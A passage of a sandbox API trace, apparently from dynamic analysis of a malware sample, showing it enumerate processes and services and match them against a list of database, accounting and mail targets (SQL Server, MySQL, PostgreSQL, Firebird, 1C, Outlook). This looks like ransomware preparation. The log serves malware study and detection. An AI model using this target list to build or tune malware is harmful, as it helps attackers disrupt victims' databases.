Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.788] lstrlenW (lpString="svchost.exe") returned 11 [0137.788] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0137.788] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0137.788] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0137.788] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0137.788] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0137.788] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0137.788] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0137.788] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.789] lstrlenW (lpString="svchost.exe") returned 11 [0137.789] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0137.789] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0137.789] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0137.789] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0137.789] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0137.789] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0137.789] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0137.789] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.789] lstrlenW (lpString="svchost.exe") returned 11 [0137.789] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0137.789] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0137.789] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0137.789] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0137.789] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0137.789] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0137.789] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0137.789] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.790] lstrlenW (lpString="svchost.exe") returned 11 [0137.790] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0137.790] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0137.790] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0137.790] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0137.790] lstrlenW (lpString="audiodg.exe") returned 11 [0137.790] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.791] lstrlenW (lpString="svchost.exe") returned 11 [0137.791] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0137.791] lstrlenW (lpString="userinit.exe") returned 12 [0137.791] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0137.791] lstrlenW (lpString="explorer.exe") returned 12 [0137.791] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0137.792] lstrlenW (lpString="dwm.exe") returned 7 [0137.792] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.792] lstrlenW (lpString="svchost.exe") returned 11 [0137.792] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0137.792] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0137.792] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0137.793] lstrlenW (lpString="spoolsv.exe") returned 11 [0137.793] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0137.793] lstrlenW (lpString="dllhost.exe") returned 11 [0137.793] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0137.793] lstrlenW (lpString="reader_sl.exe") returned 13 [0137.793] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.794] lstrlenW (lpString="svchost.exe") returned 11 [0137.794] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0137.794] lstrlenW (lpString="taskhost.exe") returned 12 [0137.794] Process32NextW (in: hSnapshot=0x3b0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0137.794] CloseHandle (hObject=0x3b0) returned 1 [0137.794] Sleep (dwMilliseconds=0x1f4) [0139.084] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x428b4d8 [0139.214] EnumServicesStatusExW (in: hSCManager=0x428b4d8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0139.215] GetLastError () returned 0xea [0139.215] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xd68) returned 0x4241058 [0139.215] EnumServicesStatusExW (in: hSCManager=0x428b4d8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4241058, cbBufSize=0xd68, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4241058, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0139.216] CloseServiceHandle (hSCObject=0x428b4d8) returned 1 [0139.216] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0139.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0139.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0139.216] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0139.216] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0139.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0139.216] lstrlenW (lpString="AudioSrv") returned 8 [0139.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0139.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0139.216] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0139.216] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0139.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0139.216] lstrlenW (lpString="BFE") returned 3 [0139.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0139.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0139.217] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0139.217] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0139.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0139.217] lstrlenW (lpString="CryptSvc") returned 8 [0139.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0139.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0139.217] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0139.217] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0139.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0139.217] lstrlenW (lpString="CscService") returned 10 [0139.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0139.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0139.217] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0139.217] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0139.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0139.217] lstrlenW (lpString="DcomLaunch") returned 10 [0139.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0139.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0139.217] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0139.217] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0139.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0139.217] lstrlenW (lpString="Dhcp") returned 4 [0139.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0139.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0139.217] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0139.217] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0139.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0139.217] lstrlenW (lpString="Dnscache") returned 8 [0139.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0139.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0139.217] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0139.217] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0139.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0139.217] lstrlenW (lpString="DPS") returned 3 [0139.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0139.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0139.218] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0139.218] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0139.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0139.218] lstrlenW (lpString="eventlog") returned 8 [0139.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0139.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0139.218] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0139.218] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0139.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0139.218] lstrlenW (lpString="EventSystem") returned 11 [0139.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0139.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0139.218] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0139.218] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0139.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0139.218] lstrlenW (lpString="gpsvc") returned 5 [0139.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0139.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0139.218] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0139.218] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0139.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0139.218] lstrlenW (lpString="LanmanWorkstation") returned 17 [0139.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0139.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0139.218] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0139.218] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0139.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0139.218] lstrlenW (lpString="lmhosts") returned 7 [0139.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0139.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0139.218] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0139.218] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0139.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0139.218] lstrlenW (lpString="MMCSS") returned 5 [0139.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0139.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0139.219] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0139.219] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0139.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0139.219] lstrlenW (lpString="MpsSvc") returned 6 [0139.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0139.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0139.219] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0139.219] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0139.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0139.219] lstrlenW (lpString="NlaSvc") returned 6 [0139.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0139.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0139.219] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0139.219] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0139.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0139.219] lstrlenW (lpString="nsi") returned 3 [0139.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0139.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0139.219] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0139.219] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0139.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0139.219] lstrlenW (lpString="PcaSvc") returned 6 [0139.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0139.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0139.219] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0139.219] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0139.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0139.219] lstrlenW (lpString="PlugPlay") returned 8 [0139.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0139.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0139.219] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0139.219] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0139.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0139.219] lstrlenW (lpString="Power") returned 5 [0139.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0139.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0139.220] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0139.220] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0139.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0139.220] lstrlenW (lpString="ProfSvc") returned 7 [0139.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0139.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0139.220] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0139.220] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0139.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0139.220] lstrlenW (lpString="RpcEptMapper") returned 12 [0139.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0139.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0139.220] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0139.220] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0139.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0139.220] lstrlenW (lpString="RpcSs") returned 5 [0139.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0139.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0139.220] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0139.220] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0139.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0139.220] lstrlenW (lpString="SamSs") returned 5 [0139.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0139.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0139.220] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0139.220] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0139.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0139.220] lstrlenW (lpString="Schedule") returned 8 [0139.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0139.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0139.220] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0139.220] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0139.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0139.220] lstrlenW (lpString="SENS") returned 4 [0139.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0139.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0139.221] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0139.221] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0139.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0139.221] lstrlenW (lpString="ShellHWDetection") returned 16 [0139.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0139.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0139.221] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0139.221] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0139.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0139.221] lstrlenW (lpString="Spooler") returned 7 [0139.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0139.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0139.221] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0139.221] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0139.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0139.221] lstrlenW (lpString="SysMain") returned 7 [0139.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0139.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0139.221] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0139.221] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0139.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0139.221] lstrlenW (lpString="Themes") returned 6 [0139.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0139.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0139.221] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0139.221] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0139.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0139.221] lstrlenW (lpString="TrkWks") returned 6 [0139.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0139.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0139.221] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0139.221] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0139.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0139.221] lstrlenW (lpString="UxSms") returned 5 [0139.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0139.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0139.222] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0139.222] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0139.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0139.222] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x4241058 | out: hHeap=0x880000) returned 1 [0139.222] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x36c [0139.224] Process32FirstW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0139.224] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0139.224] lstrlenW (lpString="System") returned 6 [0139.224] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0139.224] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0139.224] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0139.224] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0139.224] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0139.225] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0139.225] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0139.225] Process32NextW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) 